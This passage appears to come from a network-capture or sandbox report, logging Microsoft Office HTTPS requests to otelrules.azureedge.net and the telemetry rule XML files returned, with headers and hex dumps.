M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49818	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:18 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:18 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7b112b71-901e-005b-73c6-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230218Z-16547b76f7fht2hfhC1DFWbngg00000006yg00000000137b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:18 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49819	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:18 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:18 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 316038b9-a01e-006f-2591-3713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230218Z-r18f44ddb69jg8vphC1DFWq24c00000000gg0000000023fx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:18 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49821	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:19 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:19 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 373f0e0b-901e-008f-80b0-3767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230219Z-16547b76f7f6nr89hC1DFWz7ug00000002pg00000000xr6n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:19 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49820	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:19 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:19 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230219Z-16547b76f7fbkfmzhC1DFWm9tw000000064g000000007xyh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:19 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49823	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:19 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:19 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230219Z-16547b76f7fzwxm2hC1DFWt5hw000000041000000000h7sh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:19 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49822	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:19 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:19 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: bd5538f5-501e-008f-71ad-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230219Z-17cf5b775c4dj7lnhC1DFWmqrg00000000e00000000053ta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:19 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49824	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:19 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:19 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: bdecc517-a01e-0050-3dc0-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230219Z-16547b76f7fwggrphC1DFW2a8s00000005bg00000000d2ry x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:19 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49825	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:20 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:20 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a914475d-501e-00a0-6190-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230220Z-1866b5c5fbb2ngs6hC1DFW402w00000004r000000000dw1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:20 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49826	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:20 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: a1cedf95-b01e-003d-7f9b-38d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230220Z-1866b5c5fbbnjgfwhC1DFW3usc00000001qg00000000kks6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49827	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:20 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 608c19dc-201e-005d-1a7c-37afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230220Z-164f84587bfsgfx9hC1DFWw1as00000006c000000000d5wf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49828	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:20 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230220Z-16547b76f7fw2955hC1DFWsptc00000006v000000000yuk1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49829	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:20 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:20 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4dbbda22-e01e-0033-5212-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230220Z-164f84587bfm8kdnhC1DFWey4g00000006f000000000z0ez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:20 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 